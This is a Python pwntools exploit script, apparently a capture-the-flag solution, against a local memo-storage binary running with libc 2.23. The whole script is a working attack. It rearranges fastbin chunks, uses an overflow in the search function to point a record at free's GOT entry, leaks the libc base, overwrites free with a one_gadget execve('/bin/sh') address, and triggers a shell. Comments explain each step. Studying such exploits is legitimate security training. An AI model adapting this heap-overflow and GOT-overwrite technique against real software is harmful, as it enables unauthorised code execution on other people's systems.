#!/usr/bin/env python

from pwn import *

def insert_record(size, text):
    p.recvuntil('which command?\n> ')
    p.sendline('1')
    p.recvuntil('how many charactors will you store? (0<=len<=100)\n> ')
    p.sendline(str(size))
    p.recvuntil('Please input memo\n> ')
    p.send(text)

def edit_record(hash_id, pos, text):
    p.recvuntil('which command?\n> ')
    p.sendline('2')
    p.recvuntil('which hash number?\n> ')
    p.sendline(str(hash_id))
    p.recvuntil('which position number?\n> ')
    p.sendline(str(pos))
    p.recvuntil('Please input memo\n> ')
    p.send(text)

def print_record():
    p.recvuntil('which command?\n> ')
    p.sendline('3')

def search_record(size, text):
    p.recvuntil('which command?\n> ')
    p.sendline('4')
    p.recvuntil('How many charactors does search word have? (0<=len<=100)\n> ')
    p.sendline(str(size))
    p.recvuntil('which value do you looking for?\n> ')
    p.send(text)

def delete_record(hash_id, pos):
    p.recvuntil('which command?\n> ')
    p.sendline('5')
    p.recvuntil('which hash number?\n> ')
    p.sendline(str(hash_id))
    p.recvuntil('which position number?\n> ')
    p.sendline(str(pos))

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    insert_record(10, 'a' * 10) # record_1 (hash_id:1, pos:0)
    insert_record(10, 'b' * 10) # record_2 (hash_id:1, pos:1)

    # delete and re-create record_2
    # this makes the two fastbin chunks to switch places
    delete_record(1, 1)
    insert_record(10, 'b' * 10) # record_2 (hash_id:1, pos:1)

    # delete record_1, so search_record allocate memo on top of record_2
    delete_record(1, 0)

    # overflow happens in search, so we replace record_2's memo location with free's GOT address
    search_record(10, 'b' * 24 + p64(0x21) + p64(0) + p64(0x602018) + '\n')

    # printing the records, we can leak the free's GOT address, and find libc base
    print_record()

    p.recvuntil('0: "')
    libc_base = u64(p.recv(6) + '\00\00') - 0x844f0
    print 'libc base: {}'.format(hex(libc_base))

    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''

    # write the one_gadget's address into free's GOT
    edit_record(1, 0, p64(libc_base + 0x4526a) + '\n')

    # trigger free, so we get the shell
    delete_record(1, 0)

    p.interactive()

